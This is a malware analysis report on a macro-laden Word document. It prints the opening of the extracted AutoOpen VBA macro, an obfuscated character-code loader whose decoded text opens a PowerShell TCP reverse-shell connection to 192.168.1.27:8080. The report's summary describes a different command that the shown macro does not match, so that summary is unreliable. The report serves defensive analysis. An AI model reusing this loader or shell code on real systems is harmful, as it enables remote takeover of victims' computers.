MALICIOUS
222
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample contains an AutoOpen VBA macro that is heavily obfuscated and uses the Shell() function to execute a command. The reconstructed command is 'powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Public\Libraries\System.dll"', indicating an attempt to download and execute a second-stage payload. This is a common technique for macro-based malware.
Heuristics 6
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 24231 bytes |
SHA-256: e1cf1186cdd5f6294cebfde0b73f6667e376c9d6bddc775b98ca9b7cf263dce7 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "AutoOpen"
Sub Main()
Dim aa As String
aa = ""
aa = aa & ChrW(112) & ChrW(111) & ChrW(119) & ChrW(101) & ChrW(114) & ChrW(115) & ChrW(104) & ChrW(101) & ChrW(108)
aa = aa & ChrW(108) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(32) & ChrW(34) & ChrW(32) & ChrW(102)
aa = aa & ChrW(117) & ChrW(110) & ChrW(99) & ChrW(116) & ChrW(105) & ChrW(111) & ChrW(110) & ChrW(32) & ChrW(99)
aa = aa & ChrW(108) & ChrW(101) & ChrW(97) & ChrW(110) & ChrW(117) & ChrW(112) & ChrW(32) & ChrW(123) & ChrW(105)
aa = aa & ChrW(102) & ChrW(32) & ChrW(40) & ChrW(36) & ChrW(99) & ChrW(108) & ChrW(105) & ChrW(101) & ChrW(110)
aa = aa & ChrW(116) & ChrW(46) & ChrW(67) & ChrW(111) & ChrW(110) & ChrW(110) & ChrW(101) & ChrW(99) & ChrW(116)
aa = aa & ChrW(101) & ChrW(100) & ChrW(32) & ChrW(45) & ChrW(101) & ChrW(113) & ChrW(32) & ChrW(36) & ChrW(116)
aa = aa & ChrW(114) & ChrW(117) & ChrW(101) & ChrW(41) & ChrW(32) & ChrW(123) & ChrW(36) & ChrW(99) & ChrW(108)
aa = aa & ChrW(105) & ChrW(101) & ChrW(110) & ChrW(116) & ChrW(46) & ChrW(67) & ChrW(108) & ChrW(111) & ChrW(115)
aa = aa & ChrW(101) & ChrW(40) & ChrW(41) & ChrW(125) & ChrW(59) & ChrW(32) & ChrW(32) & ChrW(32) & ChrW(32)
aa = aa & ChrW(105) & ChrW(102) & ChrW(32) & ChrW(40) & ChrW(36) & ChrW(112) & ChrW(114) & ChrW(111) & ChrW(99)
aa = aa & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(46) & ChrW(69) & ChrW(120) & ChrW(105) & ChrW(116) & ChrW(67)
aa = aa & ChrW(111) & ChrW(100) & ChrW(101) & ChrW(32) & ChrW(45) & ChrW(110) & ChrW(101) & ChrW(32) & ChrW(36)
aa = aa & ChrW(110) & ChrW(117) & ChrW(108) & ChrW(108) & ChrW(41) & ChrW(32) & ChrW(123) & ChrW(36) & ChrW(112)
aa = aa & ChrW(114) & ChrW(111) & ChrW(99) & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(46) & ChrW(67) & ChrW(108)
aa = aa & ChrW(111) & ChrW(115) & ChrW(101) & ChrW(40) & ChrW(41) & ChrW(125) & ChrW(59) & ChrW(32) & ChrW(32)
aa = aa & ChrW(32) & ChrW(32) & ChrW(101) & ChrW(120) & ChrW(105) & ChrW(116) & ChrW(59) & ChrW(125) & ChrW(59)
aa = aa & ChrW(36) & ChrW(97) & ChrW(100) & ChrW(100) & ChrW(114) & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(32)
aa = aa & ChrW(61) & ChrW(32) & ChrW(39) & ChrW(49) & ChrW(57) & ChrW(50) & ChrW(46) & ChrW(49) & ChrW(54)
aa = aa & ChrW(56) & ChrW(46) & ChrW(49) & ChrW(46) & ChrW(50) & ChrW(55) & ChrW(39) & ChrW(59) & ChrW(36)
aa = aa & ChrW(112) & ChrW(111) & ChrW(114) & ChrW(116) & ChrW(32) & ChrW(61) & ChrW(32) & ChrW(39) & ChrW(56)
aa = aa & ChrW(48) & ChrW(56) & ChrW(48) & ChrW(39) & ChrW(59) & ChrW(36) & ChrW(99) & ChrW(108) & ChrW(105)
aa = aa & ChrW(101) & ChrW(110) & ChrW(116) & ChrW(32) & ChrW(61) & ChrW(32) & ChrW(78) & ChrW(101) & ChrW(119)
aa = aa & ChrW(45) & ChrW(79) & ChrW(98) & ChrW(106) & ChrW(101) & ChrW(99) & ChrW(116) & ChrW(32) & ChrW(115)
aa = aa & ChrW(121) & ChrW(115) & ChrW(116) & ChrW(101) & ChrW(109) & ChrW(46) & ChrW(110) & ChrW(101) & ChrW(116)
aa = aa & ChrW(46) & ChrW(115) & ChrW(111) & ChrW(99) & ChrW(107) & ChrW(101) & ChrW(116) & ChrW(115) & ChrW(46)
aa = aa & ChrW(116) & ChrW(99) & ChrW(112) & ChrW(99) & ChrW(108) & ChrW(105) & ChrW(101) & ChrW(110) & ChrW(116)
aa = aa & ChrW(59) & ChrW(36) & ChrW(99) & ChrW(108) & ChrW(105) & ChrW(101) & ChrW(110) & ChrW(116) & ChrW(46)
aa = aa & ChrW(99) & ChrW(111) & ChrW(110) & ChrW(110) & ChrW(101) & ChrW(99) & ChrW(116) & ChrW(40) & ChrW(36)
aa = aa & ChrW(97) & ChrW(100) & ChrW(100) & ChrW(114) & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(44) & ChrW(36)
aa = aa & ChrW(112) & ChrW(111) & ChrW(114) & ChrW(116) & ChrW(41) & ChrW(59) & ChrW(36) & ChrW(115) & ChrW(116)
aa = aa & ChrW(114) & ChrW(101) & ChrW(97) & ChrW(109) & ChrW(32) & ChrW(61) & ChrW(32) & ChrW(36
... (truncated)
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 120320 bytes |
SHA-256: 5f6c7ab888419537e59b65638cb2076757aae547393646af51227c37256c72d2 |
|||
emf_00.emf |
ooxml-emf | OOXML EMF part: docProps/thumbnail.emf | 3316 bytes |
SHA-256: 83e4ce3bd2cc29ff3751d035a1b7e56a714cc5f259dfb81c7f1ec189c5bed6d6 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.